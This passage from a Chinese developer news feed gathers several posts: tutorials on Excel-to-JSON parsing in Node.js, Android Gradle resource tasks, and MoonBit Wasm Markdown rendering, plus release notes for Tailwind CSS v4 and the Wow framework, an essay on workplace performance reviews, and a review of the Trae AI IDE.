  2. 单选题、多选题选项需至少包含 4 个,使用换行符隔开,超过 4 个选项可继续增加。
  3. 多选题答案以英文逗号隔开,如 A,C,D
  4. 判断题无需填写选项,仅在答案列填写「正确」或「错误」。

关于选项设计的讨论

最初选项设计为如下形式:

其他列选项A选项B选项C选项D其他列
...木星地球火星金星...

此设计解析简单,在解析 excel 列时,不需要对数据做特殊处理,但难以支持动态选项扩展,容易因列移位导致解析错误。因此,最终将选项集中在一列,用换行符分隔,实现更灵活的兼容性。

数据解析示例

以第一题为例,解析后数据为:

{
  ...
  __EMPTY: '单选题',
  __EMPTY_1: '太阳系中最大的行星是?',
  __EMPTY_2: 'A.木星\nB.地球\nC.火星\nD.金星',
  __EMPTY_3: 'A',
  __EMPTY_4: 2,
  __EMPTY_5: '木星是太阳系中最大的行星。'
}

我们可用正则表达式将选项 __EMPTY_2 转换为数组:

["木星", "地球", "火星", "金星"]

代码实现如下:

rawChoices.match(/[^\r\n]+/g).map((item) => item.split(".")[1])

代码实现

1)安装依赖

$ pnpm add xlsx lodash

依赖解读:

  • xlsxxlsx 是一个强大的 Node.js 与浏览器端通用的 npm 包,能轻松实现 Excel 文件(XLSX、XLS 等格式)的读写操作,支持多种数据导入导出及样式处理。

  • lodashlodash 是一个功能丰富且高效的 npm 包,提供了大量实用的工具函数,用于数组、对象、字符串等数据类型的操作和处理,能显著简化 JavaScript 编程

    由于小伙伴在准备试题时,是按类型来填充的,为了随机均匀,我使用了 _.shuffle() 方法打乱顺序。

2)导入必要依赖

const _ = require("lodash");
const fs = require("fs");
const path = require("path");
const xlsx = require("xlsx");

3)封装解析函数

function parseExcel(filePath) {
  const workbook = xlsx.readFile(filePath);
  const sheetName = workbook.SheetNames[0];
  const sheet = workbook.Sheets[sheetName];
  const jsonData = xlsx.utils.sheet_to_json(sheet);
  return jsonData.slice(4).map((item) => {
    const fields = ["__EMPTY", "__EMPTY_1", "__EMPTY_2", "__EMPTY_3", "__EMPTY_4", "__EMPTY_5"];
    const [
      questionType, 
      questionText, 
      rawChoices, 
      correctAnswer, 
      points, 
      explanation
    ] = fields.map((field) => item[field]);
    let choices = rawChoices ? rawChoices.match(/[^\r\n]+/g).map((item) => item.split(".")[1]) : [];
    if (questionType === "判断题") {
      choices = ["正确", "错误"];
    }
    return {
      questionType,
      questionText,
      choices: choices,
      correctAnswer: correctAnswer || "",
      points: Number(points) || 0,
      analysis: explanation || "",
    };
  });
}

function getFileName(filePath) {
  return path.basename(filePath, path.extname(filePath));
}

温馨提示:在解析 excel 时,这里只是给到了一个参考,在实际应用中,将会更为复杂,你可能需要去判断导入数据是否根据试题模板要求或规则来填写等。

4)调用解析并写入 JSON 文件

const filePath = path.join(__dirname, "./试题模板.xlsx");
const fileName = getFileName(filePath);
const data = _.shuffle(parseExcel(filePath));
const jsonData = JSON.stringify(data, null, 2);
fs.writeFileSync(path.join(__dirname, `${fileName}.json`), jsonData);

完整代码

完整代码如下:

const _ = require("lodash");
const fs = require("fs");
const path = require("path");
const xlsx = require("xlsx");

const filePath = path.join(__dirname, "./试题模板.xlsx");
const fileName = getFileName(filePath);
const data = _.shuffle(parseExcel(filePath));
const jsonData = JSON.stringify(data, null, 2);
fs.writeFileSync(path.join(__dirname, `${fileName}.json`), jsonData);

function parseExcel(filePath) {
  const workbook = xlsx.readFile(filePath);
  const sheetName = workbook.SheetNames[0];
  const sheet = workbook.Sheets[sheetName];
  const jsonData = xlsx.utils.sheet_to_json(sheet);
  return jsonData.slice(4).map((item) => {
    const fields = ["__EMPTY", "__EMPTY_1", "__EMPTY_2", "__EMPTY_3", "__EMPTY_4", "__EMPTY_5"];
    const [questionType, questionText, rawChoices, correctAnswer, points, explanation] =
      fields.map((field) => item[field]);
    let choices = rawChoices ? rawChoices.match(/[^\r\n]+/g).map((item) => item.split(".")[1]) : [];
    if (questionType === "判断题") {
      choices = ["正确", "错误"];
    }
    return {
      questionType,
      questionText,
      choices,
      correctAnswer: correctAnswer || "",
      points: Number(points) || 0,
      analysis: explanation || "",
    };
  });
}

function getFileName(filePath) {
  return path.basename(filePath, path.extname(filePath));
}

尾言

通过本篇文章,希望你能快速掌握如何基于 Node.js 实现批量导入试题。如果你在实现过程中有任何疑问,欢迎在评论区留言讨论!

by 序猿杂谈 at January 23, 2025 03:41 AM

juejin android

AGP8.0+ 中 如何处理mergeResources任务的产物

在以前的agp版本中,我们可以onVarint回调中直接获取到任意task的provider,这让我们可以很轻松的插入一个任务到android的编译过程中

在8.0+以后 这个方案失效了, 这个会导致我们很多自定义的插件无法执行,举个例子,在编译中将png和jpg 压缩成webp 来缩减包大小是通用方案,但这个方案的第一步 是 你得在mergeRes任务之后 processRes任务之前 处理好这些 res文件

下面介绍一种简单的方案 可以在8.0+ 上实现 这个任务插入的过程

参考2bab大佬的开源实现,注意切换分支到agp-8.1

先拿到provider


class CreationAction(private val appVariant: ApplicationVariant) {
    fun extractMergedRes(): Provider<Directory> {
        return appVariant.getArtifactsImpl()
            .get(InternalArtifactType.MERGED_RES)
    }
}


fun ApplicationVariant.getArtifactsImpl() = getApplicationVariantImpl().artifacts
fun ApplicationVariant.getApplicationVariantImpl(): ApplicationVariantImpl {
    return when (this) {
        is ApplicationVariantImpl -> {
            this
        }

        is AnalyticsEnabledApplicationVariant -> {
            this.delegate as ApplicationVariantImpl
        }

        else -> {
            throw UnsupportedOperationException("Can not convert $this to ApplicationVariantImpl.")
        }
    }
}

然后处理varint和provider的对应关系

val resVariantMap = mutableMapOf<String, Provider<Directory>>()
 val androidComponents = target.extensions.getByType(AndroidComponentsExtension::class.java)
            androidComponents.onVariants { variant ->
                resVariantMap[variant.name] = CreationAction(variant as ApplicationVariant).extractMergedRes()
                }

最后利用doLast来处理

val regex = "^merge|Resources$".toRegex()
target.gradle.taskGraph.whenReady {
    allTasks.forEach {
         // 先找到mergeResource这个任务
        if (it.name.startsWith("merge") && it.name.endsWith("Resources")) {
            it.doLast {
                // 任务的完整名称中间就是varint的名称    
                val varintKey = regex.replace(it.name, "")
                // 我们拿到varint的名称就可以去拿到这个varint对应的mergeResource的路径了
                val result = resVariantMap[varintKey]
                println("{result!!.get().asFile.absolutePath}")
                result.get().asFileTree.files.forEach { info->
                    // 在这里能拿到全部res下的文件 自行处理你的需求即可
                    println("info info = ${info.name}")

                }


            }
        }

整体方案虽然不够优雅 但是基本能完成适配的需求

by vivo高启强 at January 23, 2025 03:38 AM

oschina news project

开源 CSS 框架 Tailwind CSS v4.0 正式发布:显著提升性能、简化配置体验……

Tailwind CSS v4.0 稳定版已正式发布

下载地址:https://github.com/tailwindlabs/tailwindcss/releases/tag/v4.0.0

迁移指南:https://tailwindcss.com/docs/upgrade-guide


Tailwind CSS 是一个为快速开发而精心设计的原子类 CSS 框架,它提供了充满设计感和应用程序至上的能力来创建组件,它在最新的 2.0 版本中加入了暗黑模式,开箱即用。

2024 年 01 月 12 日,Adam Wathan 在 Twitter 上分享了 Tailwind CSS 即将推出的第 4 版的一些性能基准测试结果,再次让我们大吃一惊。编译 v4 版 Catalyst 库的速度是编译 v3 版的 7 倍。

2024 年 03 月 14 日,Tailwind CSS 发布了备受期待的 v4.0 alpha 版本,它引入了开创性的功能和增强功能,有望重塑样式框架的格局。该版本在增量构建方面比 v3 快约 60 倍

在去年夏天举行的 Tailwind Connect 大会上,与会者抢先体验了 Oxide,这是一个革命性的引擎,旨在简化开发工作流程并充分利用网络技术的最新进展。Oxide 最初是作为 v3.x 版本发布的,但由于其创新的规模,需要进行重大的版本飞跃,进而发布 v4.0。

强大的引擎

Oxide 代表着性能和效率的范式转变。由于速度提高了 10 倍,占用空间大幅减少,开发人员可以期待大幅度的生产力提升。新引擎利用 Rust 处理性能关键任务,同时保留了 TypeScript 的可扩展性,为速度和多功能性设定了新标准。

v4.0 中最重要的增强功能之一是统一了工具链,不再需要繁琐的配置。Lightning CSS 集成可无缝处理 @import、供应商前缀和嵌套 CSS,从而简化了开发流程,使开发人员能够专注于打造卓越的用户体验。

Web 样式的未来

Tailwind CSS v4.0 不仅仅是追赶现在,更是为了影响未来的 Web 样式。凭借本地级联层、明确的自定义属性以及对容器查询等现代 CSS 功能的支持,Tailwind 将自己定位在 Web 开发创新的最前沿。

通过可组合增强开发人员的能力

灵活性和可组合性是 Tailwind CSS v4.0 的核心。开发人员现在可以前所未有地组合,从而实现对样式和布局前所未有的控制。无论是 group-*peer-,还是新的 not-*,Tailwind 都能帮助开发人员轻松创建丰富、动态的用户界面。

零配置魔法简化配置

繁琐的设置和配置已经一去不复返了。Tailwind CSS v4.0 引入了零配置魔法,可自动检测内容路径并无缝集成到现有项目中。无论是使用 PostCSS、CLI 还是新的 Vite 插件,使用 Tailwind 从未如此简单。

以 CSS 为先的配置,实现无缝集成

Tailwind CSS v4.0 采用了 CSS 优先的配置方法,使其感觉更像本地 CSS,而不像 JavaScript 库。通过使用简单的 CSS 变量,开发人员可以毫不费力地定制他们的项目,确保与现有工作流程的无缝集成。

驾驭变化,展望未来

在拥抱创新的同时,Tailwind CSS v4.0 还致力于保持向后兼容性。由于计划重新引入 JavaScript 配置、支持插件并对基本功能进行微调,通往稳定的 v4.0 版本的道路是经过深思熟虑和精心规划的。

详情查看文档:https://tailwindcss.com/docs/installation/using-vite

by 来源: OSCHINA at January 23, 2025 03:35 AM

juejin career

公司绩效的本质跟大学申请社团是一致的

你好,我是 shengjk1,多年大厂经验,努力构建 通俗易懂的、好玩的编程语言教程。 欢迎关注!你会有如下收益:

  1. 了解大厂经验
  2. 拥有和大厂相匹配的技术等

希望看什么,评论或者私信告诉我!

绩效

在经过N年的绩效生活之后,豁然开朗了,绩效的本质就是看你成绩被炫耀出来了多少加上可以决定你绩效的人对你的看法。这不由的让我进行了时间穿梭,回到了 X 年前的大三时刻。 在这里插入图片描述

梦回大三

在大三的时候,我创办了自己的社团-国学社( 当时痴迷国学 ),领着大二和大一的学弟学妹们进行了社团申请以及答辩。印象深刻的一个点,就是在进行答辩的时候,面试官问了一个问题,如果让你们创办了社团,你们可以做出什么有影响的事情。

学弟学妹们都有回答,可面试官都不满意,面试官说要不你们回去再想想。这时我不知道哪里来的灵感说,我们会在东边的操场上开办一场国学交流,社团的人都穿着汉服,跳着国学的舞蹈,面试官很满意,然后答辩就通过了,国学社正式成立了。当然这些都是后话,另外还记得答辩结束后一个面试官送我们出去的时候,跟我们私聊了一下,大概的意思就是,他们要出成绩,没办法,社团都要这么搞,你们的想法很好,那个时候有种三观松动的感觉。 在这里插入图片描述

工作实例

后来工作了,给别人打过绩效,也被打过绩效。这里也举几个具体的例子!2024年公司新来了一个应届毕业生,吃饭的时候,话很多很开朗,领导很喜欢,在周会上也多次提问,这期间也没有什么大的成绩,但再后来就获得了部门的初生牛犊奖。

2023年公司新来了一个应届毕业生,吃饭的时候,话也不太多,领导也没有明显表达出来喜欢或者不喜欢,但一个人负责一个业务线从零到一的数仓建设,可以预见的是这期间会有很多问题,但也都解决了,进步还不错,在周会上很少提问,再后来绩效普普通通,没有任何奖项。 在这里插入图片描述

再举个例子,2022年我转入上面所说的部门,完成了数据实时化ETL平台的建设以及之前那种屎山代码的重构以及流批一体数仓的建设,部门的领导还在年会上对流批一体进行了回报,得到了大部门领导的肯定。

年末的时候,领导给我说哎呀做的很不错,本来该给你 A 的,但我们组不能有C,所以给了你一个B+,但转手给了另一个人S,后来了解到领导对这个人很看重,属于亲信。说实在的我并不认为,这个人的成绩能超过我,不过领导还是给了我一个部门的优秀员工,作为所谓的补偿。

后来又了解到了除了这个人外,还有一个人来的比我早,是领导的前同事,前几次绩效都是S,后来可能是反应过来了,绩效开始严格保密了。 在这里插入图片描述

心得体会

说了这么多,不知道大家有没有明白几个点: 1.好绩效,绝对不是你默默干活就能拿到的。要学会吹嘘自己,或者至少要让领导不讨厌你

2.要尽量开朗一些,多提问,至少让领导觉得你很上进

3.做技术的归根到底还是人,单独默默地做技术,除非被大领导赏识了,不然很难获得自己应有的事情

4.老人言,会做的不入会说的。在中国如果只凭技术吃饭,等待你的或许只有裁员,除非你技术钻研的很深。但是中国公司不具备钻研技术的环境,至少像字节、小米、百度等,我没有见过专心搞技术能活下来的。中国公司的经营模式导致了中国公司靠堆积人力就可以了,所以不太具备完全搞技术的环境

5.由此可见一隅,可扩到各行各业

6.等待你的补充

备注:

  1. 绩效 S 是最好的,依次是 A,B+,B,C,年终奖可谓天差地别
  2. 我所在的公司是中国排的上号的大公司

by shengjk1 at January 23, 2025 03:27 AM

在 JavaScript 中使用基于 MoonBit 的高性能 Wasm 库

在之前的一篇博客文章中,我们探索了如何在 MoonBit 的 Wasm GC 后端中直接使用 JavaScript 字符串。正如文中所描述的那样,我们可以用 MoonBit 编写一个兼容 JavaScript 的字符串操作 API,并编译生成体积极小的 Wasm 产物。

然而,您可能会好奇这一功能在真实的开发场景中表现如何。因此,今天我们将展示一个更贴近实际的案例:借助 MoonBit 库 Cmark 和 Wasm 的 JS String Builtins 提案,在一个由 JavaScript 驱动的 Web 应用程序中渲染 Markdown 文档。

背景

Cmark 是一个用于处理 Markdown 文档的新 MoonBit 库,其可以解析原生 CommonMark 和各种常见的 Markdown 语法扩展(如任务列表、脚注、表格等)。此外,它从早期开始就支持外部渲染器,并附带了一个名为 cmark_html 的官方 HTML 渲染器实现。

由于 Markdown 在线上尤其是 Web 中的广泛使用,将 Markdown 到 HTML 的转换 API 是几乎每个 JavaScript 开发者都会使用到的重要工具。因此,这对于展示 MoonBit Wasm GC API 在前端 JavaScript 中的使用也是一个理想的场景。

封装 Cmark

为了进行这个演示,我们先创建一个新的项目目录:

> mkdir cmark-frontend-example

在该目录中,首先创建一个 MoonBit 库 cmarkwrap 来封装 Cmark

> cd cmark-frontend-example && moon new cmarkwrap

这个额外的项目 cmarkwrap 的主要作用是:

  • Cmark 本身不通过 FFI 边界暴露任何 API,这对大多数 MoonBit 库来说是常见情况;
  • 我们需要从 mooncakes.io 仓库中获取 Cmark 项目,并将其本地编译为 Wasm GC。

cmarkwrap 的结构非常简单:

  • cmark-frontend-example/cmarkwrap/src/lib/moon.pkg.json:

    {
      "import": ["rami3l/cmark/cmark_html"],
      "link": {
        "wasm-gc": {
          "exports": ["render", "result_unwrap", "result_is_ok"],
          "use-js-builtin-string": true
        }
      }
    }
    

    这个配置基本与我们之前的博客中介绍的设置相同,为 Wasm GC 目标启用了 use-js-builtin-string 功能标志,并导出了相关的封装函数。

  • cmark-frontend-example/cmarkwrap/src/lib/wrap.mbt:

    ///|
    typealias RenderResult = Result[String, Error]
    
    ///|
    pub fn render(md : String) -> RenderResult {
      @cmark_html.render?(md)
    }
    
    ///|
    pub fn result_unwrap(res : RenderResult) -> String {
      match res {
        Ok(s) => s
        Err(_) => ""
      }
    }
    
    ///|
    pub fn result_is_ok(res : RenderResult) -> Bool {
      res.is_ok()
    }
    

    这里是该演示的关键部分。render() 函数封装了底层的 @cmark_html.render() 函数,但前者不像后者那样直接抛出异常,而是返回一个 RenderResult 类型。

    然而,由于 RenderResult 是一个 Wasm 对象(而不是数字或字符串),其对 JavaScript 来说是不透明的,因此无法直接被 JavaScript 调用者使用。于是,我们还需要在 MoonBit 中提供拆解该 RenderResult 类型的方法:正是出于这一目的,我们提供了 result_unwrap()result_is_ok(),它们接受这一类型的输入。

与 JavaScript 集成

现在是编写项目 Web 部分的时候了。在此阶段,您可以选择您喜欢的任何框架或打包工具。就本次演示而言,我们选择了在 cmark-frontend-example 目录下建立一个最小的项目结构,无需额外的运行时依赖。以下是项目的 HTML 和 JS 部分:

  • cmark-frontend-example/index.html:

    <!DOCTYPE html>
    <html lang="en">
      <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Cmark.mbt + JS</title>
      </head>
      <body>
        <div id="app"></div>
        <script type="module" src="/src/main.js"></script>
        <link rel="stylesheet" href="/src/style.css" />
      </body>
    </html>
    

    这个简单的 HTML 文件包含一个 id="app"div,稍后会用作渲染 Markdown 文档的目标。

  • cmark-frontend-example/src/main.js:

    const cmarkwrapWASM = await WebAssembly.instantiateStreaming(
      fetch("../cmarkwrap/target/wasm-gc/release/build/lib/lib.wasm"),
      {},
      {
        builtins: ["js-string"],
        importedStringConstants: "_",
      },
    );
    const { render, result_is_ok, result_unwrap } =
      cmarkwrapWASM.instance.exports;
    
    function cmarkWASM(md) {
      const res = render(md);
      if (!result_is_ok(res)) {
        throw new Error("cmarkWASM failed to render");
      }
      return result_unwrap(res);
    }
    
    async function docHTML() {
      const doc = await fetch("../public/tour.md");
      const docText = await doc.text();
      return cmarkWASM(docText);
    }
    
    document.getElementById("app").innerHTML = await docHTML();
    

    cmarkwrap 集成到 JavaScript 中相对简单。在 fetch 并加载 Wasm 产物后,可以直接调用封装函数。result_is_ok() 帮助我们判断是否在正常路径上:如果是,我们通过 result_unwrap() 解包跨 FFI 边界的 HTML 结果,否则抛出一个 JavaScript 错误。如果一切顺利,我们最终将渲染结果填充到 <div id="app"></div> 中。

现在我们可以编译 MoonBit 的 Wasm GC 产物并启动开发服务器:

> moon -C cmarkwrap build --release --target=wasm-gc
> python3 -m http.server

大功告成!我们现在可以用浏览器打开 http://localhost:8000 来访问我们的 JavaScript 前端应用,并查看使用 Cmark MoonBit 库渲染出的 A Tour of MoonBit for Beginners 文档了。

演示转存失败,建议直接上传图片文件

您可以在 GitHub 上找到该演示的代码。

New to MoonBit?

by MoonBit at January 23, 2025 03:23 AM

juejin frontend

我给eslint-plugin-package-json添加了新的rule

前言

大概一周前,我在翻 github 的时候,发现了一个 大佬 - JoshuaKGoldbergeslint 插件 eslint-plugin-package-json,之前也没有正式搞过 eslint rule,这里记录下我给这个插件添加新的 rule 的整个过程。

起因

我自己在github有个 组织,里面有两个repo,

image.png

仓库分别包含了 eslintprettier 的 配置,所以关注有关插件多些。

无意间翻到了 eslint-plugin-package-json,这个仓库有一些针对 package.json 的规则。

image.png

简单看了 readmeissue,发现这个仓库真的不错,而且还在积极维护,作者也是一个顶级大佬,还是 typescript-eslint 的作者

image.png

issue 列表里面不少都是接收pr的状态,于是,我想自己能不能动手去解决一些issue呢?几经翻阅,我选了一个看起来比较简单的 github.com/JoshuaKGold…(其实真的不简单)

image.png

image.png

准备

这个 rule 要做的很简单,去除一些值为空数组或者空对象的字段,比如

{
   "main": "lib/index.js",
   "scripts": {},
   "files": []
}

转化为下面这样

{
   "main": "lib/index.js"
}

为了确保自己的思路没问题,我就直接在issue下面留言问了下,

image.png

得到了肯定的答复,我就开始准备处理这个问题

过程

在开始写代码之前,我考虑了一些case,比如

{
  "simple-git-hooks": {
    "pre-commit": "pnpm exec nano-staged --allow-empty",
    "preserveUnused": []
  }
}

这里的 preserveUnused 该不该被移除呢?理论上是应该和根部分的保持一致,我最开始写的时候,就先写了一版基础的,只能处理根部分的内容,大概花了一两天的时间,我写出来了代码,加了测试用例,

思路是定义好要处理的 field 数组,比如

const arrayFields = ['files', 'keywords', ...]
const objectFields = ['scripts', 'dependencies', ...]

package.json 文本转化为对象,然后删除指定的 field,再拼成一个对象,这样做的好处在于不用考虑 , 的问题了,

{
   "main": "lib/index.js",
   "scripts": {},
   "files": []
}

这个例子,要移除 scripts,也要把它后面的 , 移掉,然后移除 files,要把 main 后面的 , 也移掉,

不合理之处嘛,也多得很

image.png

作者告诉了我 This is a solid start,指出了挺多代码不合理的地方,我看了下 review comment,方向上出了一点问题,代码也不怎么合理,也没有考虑嵌套的情况。

image.png

于是在另一个 大佬 - michael faith 的指点下,我换了另外一种思路,从ast入手,处理 JSONArrayExpressionJSONObjectExpression

又折腾了一通之后,我又提交了一版代码,录了一个本地的测试视频

image.png

这次没啥大的问题,我也确实是走在了正确的方向,不过,JoshuaKGoldberg 提出了另外一个问题,

// package.json
{
  "some-custom-array": [ [] ],
  "some-custom-object": [ {} ],
}

image.png

这种case其实我第二次改的时候考虑到了,不过我在写的时候不是很清楚该怎么处理这种case,就直接没处理。我的想法是,这种case应该先不考虑支持,后面如果有人需要再考虑支持,因为添加特性简单,更改或移除难。

不过大佬说了自己的想法,支持起来不是很困难,我就在下面回复了我的思路,于是就有了昨天晚上的第三版代码

image.png

又更新了一波测试用例和文档,也终于也要接近尾声了

image.png

这个pr前前后后搞了一个周,经过了反复讨论,代码也经过了反复修改,收获颇丰

image.png

结语

如有错误,欢迎指正。如有建议或想法,欢迎留言。

by 笨笨狗吞噬者 at January 23, 2025 03:13 AM

oschina news project

🎉 降低 DDD 实践成本 | Wow 5.1.5 发布

Wow:基于 DDD、EventSourcing 的现代响应式 CQRS 架构微服务开发框架

License  Integration Test Status Awesome Kotlin Badge

领域驱动 | 事件驱动 | 测试驱动 | 声明式设计 | 响应式编程 | 命令查询职责分离 | 事件溯源

官方文档:👉 https://wow.ahoo.me/ 👈

更新内容

  • 更新依赖:将 io.swagger.core.v3:swagger-core-jakarta 更新至 v2.2.28
  • 更新依赖:将 angular monorepo 更新至 v19.1.1
  • 更新依赖:将 angular-cli monorepo 更新至 v19.1.1
  • 更新依赖:将 io.opentelemetry.instrumentation:opentelemetry-instrumentation-bom 更新至 v2.12.0
  • 更新依赖:将 angular-cli monorepo 更新至 v19.1.2
  • 更新依赖:将 typescript 更新至 ~5.7.0
  • 更新依赖:将 vitepress 更新至 v1.6.1
  • 更新依赖:将 angular monorepo 更新至 v19.1.2
  • 更新依赖:将 org.gradle.test-retry 更新至 v1.6.1
  • 更新依赖:将 angular-cli monorepo 更新至 v19.1.3
  • 特性(示例):添加自定义发送命令端点
  • 更新依赖:将 vitepress 更新至 v1.6.2
  • 更新依赖:将 vitepress 更新至 v1.6.3
  • 更新依赖:将 angular monorepo 更新至 v19.1.3
  • 更新依赖:将 angular-cli monorepo 更新至 v19.1.4
  • 更新依赖:将 jte 更新至 v3.1.16
  • 特性(文档):更新文档样式
  • 特性(文档):使用 yarn 替代 npm
  • 特性(查询):为查询元素添加直接属性设置器
  • 构建:更新 Gradle 项目配置和依赖
  • 构建:更新 Gradle 插件和依赖
  • 更新依赖:将 ng-zorro-antd 更新至 v19.0.2
  • 更新依赖:将 io.mockk:mockk 更新至 v1.13.16
  • 更新依赖:将 io.opentelemetry:opentelemetry-bom 更新至 v1.46.0
  • 更新依赖:将 springdoc 更新至 v2.8.3
  • 重构(wow-core):WaitStrategy 以提升可读性。

 

简介

Wow 是一个基于领域驱动设计和事件溯源的现代响应式 CQRS 微服务开发框架,历经多年生产环境验证。

旨在帮助开发者构建现代化的、高性能且易于维护的微服务应用程序,充分发挥领域驱动设计和事件溯源等模式优势的同时降低应用的复杂性以及实践成本。

值得一提的是,领域驱动设计和事件溯源并非微服务架构的专属,Wow 框架不仅适用于微服务开发,同样也可用于构建基于领域驱动设计的单体应用程序。

快速开始

使用 Wow 项目模板快速创建基于 Wow 框架的 DDD 项目

特性概览

Wow-Features

架构图

Wow-Architecture

背景

随着业务的发展和复杂性的增加,传统的架构和开发方式逐渐显露出瓶颈。领域驱动设计事件溯源等理念在提高系统设计的灵活性和可维护性方面表现出色,但在实践中常常需要面对复杂性和学习曲线的挑战。

Wow 框架的目标是以简单易用的方式将领域驱动设计和事件溯源等理念融入到微服务应用开发中,降低开发者的学习成本,提高开发效率。 通过提供现代响应式的 CQRS 架构和相关组件,Wow 框架旨在让开发者更专注于业务逻辑的实现,而不必过多关心底层技术细节。

经过多年的实践和不断的演进,Wow 框架在生产环境中得到了验证,积累了丰富的经验。这些经验和反馈不仅丰富了框架的功能和性能,也为持续的改进和优化提供了宝贵的指导。

对于开发者而言,Wow 框架意味着什么?

我曾告诫我的团队:如果我们过于依赖数据驱动设计而忽视领域驱动设计,我们最终将沦为 CRUD 工程师。

CRUD 工程师的竞争力和可替代性可想而知,这或许是为何会有 35 岁效应,企业显然更倾向于招募没有太多生活羁绊、更加廉价的 25  CRUD 工程师。

业务价值

软件系统的核心价值体现在业务价值上,研发人员不应只关注技术实现上,而是应该更多地关注业务价值的实现。 这其中的好处显而易见,当你开发完一个业务系统之后,你将变成一个业务专家,甚至比跟你合作的领域专家还要专业,因为你需要洞察业务细节。

使用 Wow 框架,意味着你将关注点放在围绕领域模型设计上,与业务专家一起探索业务领域,而不是关注于技术实现上。 你仅需编写领域模型,即可完成服务开发,Wow 框架自动为你准备好 OpenAPI 接口。

在《实现领域驱动设计》一书中,作者 Vaughn Vernon 提到:核心域才值得投入精力进行领域驱动设计, 但如果你使用 Wow 框架,你将发现,因为低廉开发成本、快速的开发效率,即使是次要的支撑子域也值得 DDD

性能与伸缩性

随着业务的发展,你需要开始思考系统的性能和伸缩性问题。 在传统架构中,这牵扯到数据库关系模式、分片规则等复杂问题,同时你还需要处理因数据库分片导致的跨分片事务问题。 这时,你不得不修改你的业务代码,以适应水平拆分后的数据库架构。

然而,如果你选择使用 Wow 框架,你将不再需要过多关注数据库关系模式、分片规则等问题。你的业务代码无需变更,系统能够轻松实现水平伸缩。

你可以在这里了解更多关于 Wow 框架的性能

读写分离与同步延迟

读写分离是一种极为普遍的性能优化架构模式。 然而,同步延迟问题常伴随而来,事务执行成功后写库落库成功,但读库同步延迟,用户刷新页面后无法获取最新数据,从而对用户的体验产生影响。例如:

  • 用户发起下单事务,写库执行成功,但由于某种原因,读库同步延迟,用户刷新页面后发现订单未成功创建。
  • 商家编辑完商品后,同步到 Elasticsearch 索引库,但由于某种原因,同步延迟,导致商家刷新页面后搜索不到该商品。

通常,大家采用最简便的方法,等待 1 秒后刷新页面。 虽然这种方式能解决大多数数据同步延迟的问题,但效率不够高。 因为大多数情况下,同步在 100 毫秒内就已完成,剩余的 900 毫秒成了浪费。 然而,有时 1 秒无法完成同步,这就导致用户获取的数据变得无效

使用 Wow 框架,你可以通过等待 PROJECTED 信号完成,然后再将结果返回给用户,以更为优雅和高效的方式处理数据同步延迟的问题。

工程质量

单元测试是确保代码质量且符合预期业务需求的重要手段,但在传统架构中,单元测试往往是一项相当困难的任务,因为你需要考虑数据库连接、事务管理、数据清理等问题。

使用 Wow 框架,你将会发现基于 Given->When->Expect 模式的测试套件,使得单元测试变得异常简单。 你只需关注领域模型是否符合预期,而无需为数据库连接等问题烦恼。

在实际应用中,我们将领域模型的单元测试覆盖率下限阈值设置为 85%,也是可以轻松实现的。

在没有刻意要求的情况下,开发人员甚至自觉地将覆盖率提升至 95%

因此,每次提交代码都变得轻松自在,因为你确信你的代码经过了充分的测试,并且真正意义上从单元测试中获得了收益。

在研发同级别的项目中,我们的测试团队在系统 API 测试中发现,基于 Wow 框架的项目,其 BUG 数仅为传统架构项目的 1/3

你可以在这里了解更多关于 Wow 单元测试套件

对于企业而言,Wow 框架意味着什么?

商业智能

传统架构 VS 事件溯源

ETL 同步流程

商业智能是企业决策的关键支持,而数据则是商业智能的分析原料。业务数据越为丰富有价值,商业智能的分析结果越准确,决策也就更加可靠。

与传统架构有着显著差异,Wow 提供了实时聚合根状态事件(StateEvent)和聚合命令(Command)作为数据分析的数据源,同时极大降低了实时 ETLExtract, Transform, Load)的难度。

在传统架构中,实现实时 ETL 通常需要经过繁琐的流程,包括 DB->CDC->Process->DB,而在 Wow 框架中,仅需一段简单的 SQL 脚本即可完成这一过程。

另外,在传统架构中,使用 CDCMySql Binlog)数据仅记录数据的变化,缺乏明确的业务语义。进行业务分析时,需要基于数据状态的变化推断出业务语义,这往往需要进行大量的数据处理。 相较之下,Wow 框架直接提供了聚合根状态事件和聚合命令作为数据分析的数据源,极大降低了数据处理的难度。

Wow 提供的实时同步机制将数据实时同步至数据仓库(ClickHouse),为实时数据分析提供了极大的便利。这种方法为商业智能提供了强有力的支持,构建了一个实时数据分析系统,使决策制定能够基于及时而准确的信息。

你可以在这里了解更多关于 Wow 商业智能

操作审计

操作审计是企业中保障安全性和合规性的重要组成部分,同时也是对系统操作进行监控和追踪的关键手段。Wow 框架在这方面为企业带来了显著的优势。

通过记录聚合命令(Command)作为操作审计的数据源,Wow 框架能够详细追踪系统中的各种操作。 这些记录不仅包含了操作本身的内容,还涵盖了操作触发的副作用(领域事件),为审计提供了更为全面和准确的数据基础。

相较于传统审计方法,Wow 框架的操作审计的数据源具备更加明确的业务语义,以及操作后产生的明确领域事件。

此外,Wow 框架提供的实时数据同步机制也为操作审计带来了便利,确保了审计数据的及时性和一致性。

了解更多关于 Wow 操作审计

by 来源: 投稿 at January 23, 2025 03:13 AM

juejin freebie

不懂前端也没关系,trae 10分钟就能帮你写一个还不错的页面~

我正在参加Trae「超级体验官」创意实践征文,  本文所使用的 Trae 免费下载链接:  www.trae.ai/?utm_source…

今天来试一试trae,从下图的配置导入界面不难看出,这个就是来对标cursor的。cursor最近几个月在圈内很火,优秀的产品特性和用户体验获得了很多程序员的认可,也是在不断的融资。面对这个趋势,大厂想要进来分一杯羹也很正常,这不,字节来了~

image.png

设置和cursor一样,在右上角,不过图标不一样。目前这个可以设置的内容还是比较少的,模型只有Claude和GPT-4o选择,而且也不支持自己增加,不过毕竟还只是个测试版,一些高级的自定义功能没有放出来也很正常。

image.png

对话界面很常规,没什么好说的,这里和cursor不同的是,cursor引用是在对话框上面的+号,trae是对话框下面的#号。然后对话框有一个比较酷炫的动效,挺好看的。

image.png

OK,对话直接跳过吧,我们来到builder界面。快过年了,我就让他给我写一个简单的春联吧。这个地方的交互还是不错的,能点击直接运行命令。

image.png

下面是第一版生成的结果,用时能用,就是丑了点。

image.png 我是老板,我当然得pua这个trae啊,你这审美真的不行,必须得改,我要五彩斑斓的黑~

image.png

改了几版之后,我受不了了,把截图发给他,都没有对齐,你这前端不合格呀,你倒底有没有看我的设计稿(trae:你有个屁的设计稿)!

image.png

几分钟过去了,又改了几版,最终效果完成,就这样吧,我妥协了,又不是不能用,可能还是得结合别的设计来搞,审美这一块还是得human来~

image.png

总结

